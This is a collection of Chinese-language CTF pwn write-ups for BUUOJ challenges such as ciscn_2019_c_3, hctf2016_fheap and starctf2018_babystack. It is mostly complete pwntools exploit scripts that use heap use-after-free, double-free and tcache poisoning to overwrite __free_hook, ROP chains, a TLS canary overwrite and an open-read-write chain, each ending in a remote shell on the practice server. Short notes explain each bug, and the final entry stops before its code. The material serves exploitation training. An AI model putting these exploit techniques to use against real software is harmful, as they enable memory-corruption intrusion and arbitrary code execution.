from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./mergeheap" #p=process(pwn) p=remote("node5.buuoj.cn",26333) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(size,context): p.sendlineafter(">>",b'1') p.sendlineafter("len:",str(size)) p.sendlineafter("content:",context) def show(index): p.sendlineafter(">>",b'2') p.sendlineafter("idx:",str(index)) def delete(index): p.sendlineafter(">>",b'3') p.sendlineafter("idx:",str(index)) def merge(index1,index2): p.sendlineafter(">>",b'4') p.sendlineafter("idx1:",str(index1)) p.sendlineafter("idx2:",str(index2)) create(0x210,b'/bin/sh\x00') #chunk 0 create(0x210,b'aaa') #chunk 1 merge(0,1) #chunk 2 create(0x10,b'a') #chunk 3 delete(2) create(8,b'a'*8) #chunk 2 show(2) p.recvuntil(b'a'*8) libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x3f0-96-0x10-libc.sym['__malloc_hook'] print(hex(libcbase)) create(0x400,b'aa') #chunk 4 free_hook=libcbase+libc.sym['__free_hook'] sys_addr=libcbase+libc.sym['system'] create(0x48,b'aaa') #chunk 5 create(0x20,b'a'*0x20) #chunk 6 create(0x28,b'a'*0x28) #chunk 7 create(0x50,b'aaa') #chunk 8 delete(5) merge(6,7) #chunk 5 delete(6) delete(7) create(0x50,p64(0)*5+p64(0x31)+p64(free_hook)) create(0x20,b'a') create(0x20,p64(sys_addr)) delete(0) #debug() p. interactive()
[OGeek2019]bookmanager
菜单堆题,程序首先就会malloc一个0x80大小的数据,且将其地址存放在栈上,rbp-8的地址,之后会让我们填入书名,之后再将书名打印出来,之后进入到菜单,创建chunk 我们只能控制内容,chunk大小固定,但是readn1函数存在off by null ,在for 循环结束后调用了memcpy,在输入的内容后加\x00
该题有9个功能,刚开始如上图,会先申请一个chunk用来储存我们输入的名称,剩下的用来储存堆块信息,储存的是第一个功能创建章节的chunk地址,创建固定大小0x80的chunk,填入0x20大小的数据,第二个是创建0x30大小的chunk,且在刚开始会对我们输入的章节的内容进行检查,内容一致则创建,且章节chunk会储存第二个功能的指针,节chunk只让我们填入0x20大小的内容,接下的地址存放第三个功能的文本chunk,第三个文本chunk则可以自定义chunk的大小,但是最大为0x100,之后的456为删除功能,他们在进行删除功能的时候,会检查上一个chunk的状态,且对应关系是章节-》节-》文本,如果删除章节,则会把对应的节和章节都删除,依此类推,漏洞点在下图,在删除节的chunk时存在uaf,7为show功能,遍历打印,8为edit功能,且读入的函数存在了off by null
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./pwn" #p=process(pwn) p=remote("node5.buuoj.cn",26443) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- p.sendlineafter("create: ",b'/bin/sh\x00') def addcha(context=b'a'): p.sendlineafter("Your choice:",str(1)) p.sendafter("Chapter name:",context) def addsec(context1=b'a',context2=b'a'): p.sendlineafter("Your choice:",str(2)) p.sendafter("into:",context1) p.recvuntil("0x0x") heap=int(p.recv(12),16) p.sendlineafter("Section name:",context2) return heap def addtex(size,context1=b'aaa\n',context2=b'aaa\n'): p.sendlineafter("Your choice:",str(3)) p.sendlineafter("into:",context1) p.sendlineafter("write:",str(size)) p.sendafter("Text:",context2) def dele(index,name): p.sendlineafter("Your choice:",str(index)) p.sendafter("name:",name) def show(): p.sendlineafter("Your choice:",str(7)) def edit(typ,context,context1): p.sendlineafter("Your choice:",str(8)) if typ==1: p.sendafter("(Chapter/Section/Text):",b'Chapter') p.sendafter("Chapter name:",context) p.sendafter("New Chapter name:",context1) elif typ==2: p.sendafter("(Chapter/Section/Text):",b'Section') p.sendafter("Section name:",context) p.sendafter("New Section name:",context1) elif typ==3: p.sendafter("(Chapter/Section/Text):",b'Text') p.sendafter("Section name:",context) p.sendafter("New Text:",context1) addcha(b'1') heapaddr=addsec(b'1',b'1.1')-0x130 addtex(0x80,b'1.1',b'a') addtex(0x9f,b'1.1',b'a') addtex(0x10,b'1.1',b'a') edit(2,b'1.1',b'qjtyc\x00\x00\x00'+b'\x00'*19) dele(6,b'qjtyc') addtex(0x10,b'qjtyc',b'a'*8) show() libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-88-0x10-libc.sym['__malloc_hook']-0xa0 free_hook=libcbase+libc.sym['__free_hook'] sys_addr=libcbase+libc.sym['system'] addsec(b'1',b'1.2') addsec(b'1',b'1.3') addtex(0x10,b'1.3',b'a') edit(2,b'1.3',b'stop'+b'\x00'*0x1c+b'\x40') edit(3,b'stop',p64(free_hook)+p64(0x20)) edit(3,b'1.2',p64(sys_addr)) edit(3,b'qjtyc',b'/bin/sh\x00') dele(6,b'qjtyc') #debug() p. interactive()
hwb2018_gettingstart
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./task_gettingStart_ktQeERc" #p=process(pwn) p=remote("node5.buuoj.cn",26345) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #Alibc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- #debug('b &rebase*(0xA1B)') p.sendafter("on you.\n",b'a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)) #pause() p.interactive()
roarctf_2019_easyheap
菜单堆题,程序在一开始的时候让我们输入姓名和信息,都储存在bss段上,之后进入菜单,创建堆块,先输入大小,有限制,整数小于0x80,只能申请10次
下图选择calloc分配chunk或者free进行uaf的功能限制在了3次。
还有一个功能是把chunk的指针地址上的内容打印,同时关掉了标准输入输出
ciscn_2019_c_3
ida打开,增删查三个功能,还有一个后门函数,但是目前来看没看出什么,创建chunk的功能对chunk的大小进行了限制,删除功能存在uaf,指针未置0,然后show功能并未对chunk做过多检查
show功能
在想怎么进行构造的时候有了一个想法,就是既然chunk的列表只能往上增长,且我们最多能malloc9个chunk,那通过tcache绕过就需要9个chunk,那就只能获得libc基地址,且没有修改的功能,那我们就不能进行dup修改freehook的指针,那既然存在uaf,能不能free(0) ; free(1) ; free(0) :free(1) 不太敢确认,但是瞄了眼学长的wp,哈哈,真的可以这样啊,这个后门函数的作用是将我们的函数指针指向的地址抬高,让我们chunk的fd指针指向free_hook指针地址,不知道为啥,可以改freehook指针为system函数,但是打不通,只能换one_gadget,
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_2019_c_3" #p=process(pwn) p=remote("node5.buuoj.cn",29773) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(size,name): p.sendlineafter("Command: \n",b'1') p.sendlineafter("size: \n",str(size)) p.sendlineafter("name: \n",name) def show(index): p.sendlineafter("Command: \n",b'2') p.sendlineafter("index: \n",str(index)) def delete(index): p.sendlineafter("Command: \n",b'3') p.sendlineafter("weapon:\n",str(index)) def backdoor(index): p.sendlineafter("Command: \n",b'666') p.sendlineafter("weapon:\n",str(index)) create(0x100,b'a') #chunk 0 create(0x100,b'a') #chunk 1 create(0x100,b'a') #chunk 2 create(0x60,b'a') #chunk 3 delete(0) delete(1) delete(0) delete(1) delete(0) delete(1) delete(0) delete(2) show(2) p.recvuntil("times: ") libcbase=int(p.recv(15),10)-96-0x10-libc.sym['__malloc_hook'] print(hex(libcbase)) free_hook=libcbase+libc.sym['__free_hook'] sys_addr=libcbase+libc.sym['system'] one_gadget =libcbase+0x4f322 create(0x4f,p64(free_hook-0x10)) #chunk 4 create(0x4f,b'a') #chunk 5 delete(5) delete(4) delete(5) for i in range(4): backdoor(5) create(0x4f,b'a') #chunk 6 create(0x4f,b'/bin/sh\x00') #chunk 7 create(0x4f,p64(one_gadget)) #chunk 8 delete(6) #debug() p. interactive()
ciscn_2019_c_5
保护全开,ida打开,菜单堆题,只有增加和删除功能,增加功能如下,chunk最多申请16个
,
删除功能存在uaf,libc2.27可以dup,但是现在还不知道libcbase基地址,看看主函数
存在格式化字符串漏洞,可以用来泄露libc基地址和栈地址
p.sendafter("name?\n",b'a'*0x20) stack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(stack)) p.sendafter("ID.\n",b'a'*8) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-231-libc.sym['setbuffer'] #-0x81237 print(hex(libcbase))
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_2019_c_5" #p=process(pwn) p=remote("node5.buuoj.cn",28457) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(size,context): p.sendlineafter("choice:",b'1') p.sendlineafter("size of story: \n",str(size)) p.sendlineafter("story: \n",context) def delete(index): p.sendlineafter("choice:",b'4') p.sendlineafter("",str(index)) p.sendafter("name?\n",b'a'*0x20) stack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(stack)) p.sendafter("ID.\n",b'a'*8) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-231-libc.sym['setbuffer'] #-0x81237 print(hex(libcbase)) free_hook=libcbase+libc.sym['__free_hook'] sys_addr=libcbase+libc.sym['system'] create(0x10,b'a') #chunk 0 create(0x10,b'a') #chunk 1 delete(0) delete(1) delete(0) create(0x10,p64(free_hook)) #chunk 2 create(0x10,b'/bin/sh\x00') #chunk 3 create(0x10,b'a') create(0x10,p64(sys_addr)) delete(3) #debug() p. interactive()
watevr_2019_voting_machine_1
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./watevr_2019_voting_machine_1" #p=process(pwn) p=remote("node5.buuoj.cn",25603) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- p.sendlineafter("Vote: ",b'a'*10+p64(0x4009b3)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym['main'])) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts'] sys_addr=libcbase+libc.sym['system'] bin_sh=libcbase+next(libc.search(b'/bin/sh\x00')) p.sendlineafter("Vote: ",b'a'*10+p64(0x400656)+p64(0x4009b3)+p64(bin_sh)+p64(sys_addr)) p.interactive()
nsctf_online_2019_pwn2
保护全开,ida打开,在程序的开始,会让我们输入一个储存在bss段的name,大小为0x60,然后就是进入菜单功能,四功能齐全,增加删除修改展示都有,但是都不可越界写,且chunk的指针只在bss段上存放最近操作的地址,如下图所示,且该菜单多了一个修改名字的功能,能够多溢出一个字节,让我们可以控制chunkptr指向别的chunk进行操作
可以通过修改名字的功能多溢出一个字节,修改chunkptr的指向,先指向0x80大小的chunk,再删除他,让其放入unsorted bin, 再申请一个chunk,再将ptr的指针指向切割的chunk,泄露libc基地址
create(0x80) #chunk 0 create(0x10) #chunk 1 editname(b'a'*0x30+b'\x10') delete() #delete chunk 0 create(0x10) #chunk 0 editname(b'a'*0x30+b'\x30') show() malloc=u64(p.recv(6).ljust(8,b'\x00'))-88-0x10 libcbase=malloc-libc.sym['__malloc_hook'] print(hex(libcbase))
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./nsctf_online_2019_pwn2" #p=process(pwn) p=remote("node5.buuoj.cn",29059) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(size): p.sendlineafter("exit\n",str(1)) p.sendlineafter("size\n",str(size)) def delete(): p.sendlineafter("exit\n",str(2)) def show(): p.sendlineafter("exit\n",str(3)) def edit(context): p.sendlineafter("exit\n",str(5)) p.sendafter("note\n",context) def editname(name): p.sendlineafter("exit\n",str(4)) p.sendafter("name\n",name) p.sendafter("name",b'a'*0x30) create(0x80) create(0x10) editname(b'a'*0x30+b'\x10') delete() create(0x10) editname(b'a'*0x30+b'\x30') show() malloc=u64(p.recv(6).ljust(8,b'\x00'))-88-0x10 libcbase=malloc-libc.sym['__malloc_hook'] print(hex(libcbase)) realloc=libcbase+libc.sym['realloc'] onegadget=libcbase+0x4526a create(0x60) delete() create(0x10) editname(b'a'*0x30+b'\x30') edit(p64(malloc-0x23)) create(0x60) create(0x60) edit(b'a'*(0x13-8)+p64(onegadget)+p64(realloc+8)) #debug() create(0x10) p. interactive()
hctf2016_fheap
菜单堆题,libc2.23,只有创建和删除两个功能,且删除功能调用的是chunk中一段地址上存放的free函数地址
下图是创建功能,先创建固定大小0x20的chunk,后根据我们输入的size大小进行处理,自定义大小的堆块要小于0x1000,然后进行内容的读取,之后会把我们读取的内容进行大小查看,如果大于0xf的长度,则进行自定义大小的malloc,size大小为我们的内容长度,然后进行复制填入的内容,将自定义大小的chunk的地址放入固定大小的chunk中,自定义大小的chunk地址+3存放free函数的地址。
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./pwn-f" #p=process(pwn) p=remote("node5.buuoj.cn",25320) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(size,context): p.sendlineafter("3.quit\n",b'create string') p.sendlineafter("size:",str(size)) p.sendafter("str:",context) def delete(index): p.sendlineafter("3.quit\n",b'delete string') p.sendlineafter("id:",str(index)) p.sendlineafter("sure?",b'yes') create(8,b'a'*8) create(8,b'a'*8) delete(1) delete(0) create(0x20,b'a'*0x18+b'\x2d'+b'\x00') delete(1) p.recvuntil(b'a'*0x18) pro_base=u64(p.recv(6).ljust(8,b'\x00'))-0xd2d print(hex(pro_base)) pop4=pro_base+0x11dc rdi=pro_base+0x11e3 ret=pro_base+0x949 delete(0) create(0x20,b'a'*0x18+p64(pop4)) p.sendlineafter("3.quit\n",b'delete string') p.sendlineafter("id:",str(1)) p.sendlineafter("sure?",b'yesaaaaa'+p64(rdi)+p64(pro_base+elf.got['puts'])+p64(pro_base+elf.sym['puts'])+p64(pro_base+0xBEE)) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] bin_sh=libcbase+next(libc.search(b'/bin/sh\x00')) delete(0) create(0x20,b'a'*0x18+p64(pop4)) p.sendlineafter("3.quit\n",b'delete string') p.sendlineafter("id:",str(1)) p.sendlineafter("sure?",b'yesaaaaa'+p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr)) #debug() p. interactive()
ciscn_2019_final_4
ida打开,存在uaf,存在沙箱与反调试
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_final_4" p=process(pwn) p=remote("node5.buuoj.cn",28257) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(size,context): p.sendlineafter(">> ",str(1)) p.sendlineafter("size?\n",str(size)) p.sendafter("content?\n",context) def delete(index): p.sendlineafter(">> ",str(2)) p.sendlineafter("index ?\n",str(index)) def show(index): p.sendlineafter(">> ",str(3)) p.sendlineafter("index ?\n",str(index)) payload = b'stopstop' + b'a'*0xE0 + p64(0) + p64(0x81) p.sendlineafter(b'name? \n', payload) create(0x100, b'a') #index 0 create(0x78, b'a') #index 1 create(0x78, b'a') #index 2 create(0x38, b'a') #index 3 create(0x38, b'a') #index 4 create(0x10, b'a') #index 5 create(0x81, b'a') #index 6 delete(0) show(0) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook'] print(' libc_base -> ', hex(libc_base)) malloc_hook = libc_base + libc.sym['__malloc_hook'] environ = libc_base + libc.sym['__environ'] rdi = libc_base + 0x21102 rsi = libc_base + 0x202e8 rdx = libc_base + 0x1150a6 add_rsp_0x148 = libc_base + 0x353aa openat = libc_base + libc.sym['openat'] read = libc_base + libc.sym['read'] write = libc_base + libc.sym['write'] puts = libc_base + libc.sym['puts'] delete(1) delete(2) delete(1) note_size_6 = 0x602058 # noet_size_6 = 0x81 -> dup -> fake_chunk_addr - 8 note_ptr = 0x6020c0 create(0x78, p64(note_size_6 - 8)) #index 7 create(0x78, b'a') #index 8 create(0x78, b'\x78') #index 9 create(0x78, p32(0x68)*2 + p64(0)*11 + p64(environ)) #index 10 show(0) stack_fake_chunk = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x120 print(' stack_fake_chunk -> ', hex(stack_fake_chunk)) delete(1) delete(2) delete(1) create(0x78, p64(stack_fake_chunk)) #index 11 create(0x78, b'a') #index 12 create(0x78, b'a') #index 13 create(0x78, b'a'*0x11) #index 14 show(14) p.recvuntil(b'a'*0x11) canary = u64(b'\x00' + p.recv(7)) print(' canary -> ', hex(canary)) delete(1) delete(2) delete(1) create(0x78, p64(stack_fake_chunk)) #index 15 create(0x78, b'a') #index 16 create(0x78, b'a') #index 17 next_rop_addr = stack_fake_chunk + 0x88 payload = b'/flag\x00\x00\x00' + p64(0)*7 + p64(rdi) + p64(0) + p64(rsi) + p64(next_rop_addr) + p64(rdx) + p64(0x1000) + p64(read) create(0x78, payload) #index 18 stack_fake_chunk2 = stack_fake_chunk + 0x120 - 0x246 delete(3) delete(4) delete(3) create(0x38, p64(stack_fake_chunk2)) #index 19 create(0x38, b'a') #index 20 create(0x38, b'a') #index 21 payload = b'\x00'*0x6 + p64(canary) + p64(0) + p64(add_rsp_0x148) create(0x38, payload) #index 22 flag_addr = stack_fake_chunk + 0x10 buf_addr = stack_fake_chunk orw_payload = p64(rdi) + p64(0) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0) + p64(openat) orw_payload += p64(rdi) + p64(3) + p64(rsi) + p64(buf_addr) + p64(rdx) + p64(0x50) + p64(read) orw_payload += p64(rdi) + p64(buf_addr) + p64(puts) sleep(1) p.send(orw_payload) p.recv() p.interactive()
metasequoia_2020_summoner
保护全开,ida 打开,记得之前有一道差不多的
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./metasequoia_2020_summoner" #p=process(pwn) p=remote("node5.buuoj.cn",27375) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def show(): p.sendlineafter("> ",b'show') def create(context): p.sendlineafter("> ",b'summon '+context) def level(index): p.sendlineafter("> ",b'level-up '+str(index).encode()) def delete(): p.sendlineafter("> ",b'release ') def getshell(): p.sendlineafter("> ",b'strike') create(b'a'*8+p64(5)) delete() create(b'a') getshell() #debug() p.interactive()
jarvisoj_itemboard
菜单堆题,先是申请了一个0xa0大小的chunk,用来存放菜单里创建的chunk地址,相当于把放在bss段的结构体放在了堆空间,增删改三个功能,在增加的时候,先malloc一个0x30大小的chunk,用来储存姓名chunk的地址和内容chunk的地址,接下来就是free嵌套功能的地址,同时要往堆里写数据借助的是strcpy函数,存在off by null漏洞
且这个函数存在uaf,itme的地址保存在第一个chunk中,没有置0,且itme的内容指针也在,只有姓名指针置0,那就可以利用uaf进行攻击了
且show功能只对itemchunk进行检查,并没有检查name和内容的指针是否为真,则我们可以直接先申请两个chunk,在free掉,则其中有一个item的指向会根据fastbin链表连接,则相当于自动帮我们填充了一个地址,则直接利用show功能则能直接对chunk进行泄露,也就能得到堆地址,且六个chunk已经成为了三个链表结构,这时我们又知道了heap的地址,我们就可再申请一个chunk大小为0x18的chunk,这样我们就可以把其中之一的itemchunk的内容进行修改,再利用show函数进行泄露就行(只要itemchunk的地址上存放了两个指针就行),这就达到了任意地址泄露内容。这时我们要先泄露libc基地址,因为没有溢出,libc为2.23,则我们进行的应该是__malloc_hook,利用fastbinattack,那现在只泄露了堆地址,下一步,我们可以泄露item上储存的free功能函数的地址,它跟程序基址存在0xb39的固定偏移,我们只要在申请0x18chunk的时候把item的内容进行修改,把指针指向free功能函数地址处就行了,泄露完程序基址之后,因为got表可供修改,则我们先利用程序基址泄露libc基地址,再将got表地址修改即可,或者利用前面说的fastbinattack也行,先做吧。然后看了学长的wp,OK
我是f,这么简单都没看见,非要去完成namechunk的指针,。。。。。
#leak----》heap_base
create(b'aaa',0x60,b'aaaaa\n') #chunk 0 create(b'aaa',0x60,b'aaaaa\n') #chunk 1 delete(1) delete(0) show(0) p.recvuntil("Description:") heap=u64(p.recv(6).ljust(8,b'\x00')) print(hex(heap))
#leak--->pro_base
create(b'aaa',0x60,b'aaaaa\n') #chunk 0 create(b'aaa',0x60,b'aaaaa\n') #chunk 1 delete(0) delete(1) create(b'aaa',0x18,p64(heap-0xf0)+b'\n') show(0) p.recvuntil("Name:") pro_base=u64(p.recv(6).ljsut(8,b'\x00'))-0xb39 print(hex(pro_base))
#leak libcbase
delete(1) create(b'aaa',0x18,p64(pro_base+elf.got['puts'])+b'\n') #chunk 0 show(0) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts'] print(hex(libcbase))
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./itemboard" #p=process(pwn) p=remote("node5.buuoj.cn",29236) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(name,length,context): p.sendlineafter("choose:\n",str(1)) p.sendlineafter("name?\n",name) p.sendlineafter("Description's len?\n",str(length)) p.sendafter("Description?\n",context) def lt(): p.sendlineafter("choose:\n",str(2)) def show(index): p.sendlineafter("choose:\n",str(3)) p.sendlineafter("item?\n",str(index)) def delete(index): p.sendlineafter("choose:\n",str(4)) p.sendlineafter("item?\n",str(index)) #leak---->heap_addr create(b'aaa',0x60,b'aaaaa\n') #chunk 0 create(b'aaa',0x60,b'aaaaa\n') #chunk 1 delete(1) delete(0) show(0) p.recvuntil("Description:") heap=u64(p.recv(6).ljust(8,b'\x00')) print(hex(heap)) #leak--->pro_base create(b'aaa',0x60,b'aaaaa\n') #chunk 2 create(b'aaa',0x60,b'aaaaa\n') #chunk 3 delete(0) delete(1) create(b'aaa',0x18,p64(heap-0xf0)+b'\n') #chunk 4 show(0) p.recvuntil("Name:") pro_base=u64(p.recv(6).ljust(8,b'\x00'))-0xb39 print(hex(pro_base)) delete(1) create(b'aaa',0x18,p64(pro_base+elf.got['puts'])+b'\n') #chunk 5 show(0) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] create(b'aaa',0x60,b'aaaaa\n') #chunk 6 create(b'aaa',0x60,b'aaaaa\n') #chunk 7 create(b'a',0x20,b'a\n') #chunk 8 create(b'a',0x20,b'a\n') #chunk 9 create(b'a',0x10,b'a\n') #chunk 10 delete(8) delete(9) payload=b'/bin/sh;'+b'a'*8+p64(sys_addr)+b'\n' create(b'a',0x18,payload) delete(8) #debug() p.interactive()
starctf2018_babystack
在使用pthread时,这个TLS会被定位到与线程的栈空间相接近的位置,所以如果输入的数据过长的话也可以把这里覆盖掉,就可以改掉stack_guard的值
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./bs" #p=process(pwn) p=remote("node5.buuoj.cn",29586) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #Alibc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- p.recvuntil('How many bytes do you want to send?\n') pop_rdi=0x0000000000400c03 pop_rsi_r15=0x0000000000400c01 pop_rsp_r13_r14_r15=0x0000000000400bfd p.sendline(str(0x1850)) #debug() payload=b'a'*0x1008 payload+=p64(0xdeadbeef) #0x1048 canary payload+=p64(0xbbbbbbbb)# ebp payload+=p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts']) payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x602100)+p64(0)+p64(elf.plt['read']) payload=payload.ljust(0x1060,b'c')+p64(pop_rsp_r13_r14_r15)+p64(0x602100)+p64(0)*3 #修改rsp #ret of read 0x6021c8 payload=payload.ljust(0x1848,b'a') payload+=p64(0xdeadbeef)#控制canary p.send(payload) p.recvuntil("It's time to say goodbye.\n") puts_addr=u64(p.recv(6).ljust(8,b'\x00')) libc_base=puts_addr-libc.symbols['puts'] system=libc.symbols['system']+libc_base sleep(1) payload=b'a'*0x18+p64(libc_base+0x4f322) p.send(payload) p.interactive()
hctf2018_the_end
ida打开,程序直接可以进行五次任意地址写,因为libc为2.27.采取劫持exit_hook的方式
exit()
-
>__run_exit_handlers
-
>_dl_fini
-
>__rtld_lock_unlock_recursive
我们劫持__rtld_lock_unlock_recursive
而这个函数是在_rtld_global
结构体中的一个函数。
偏移计算如下:
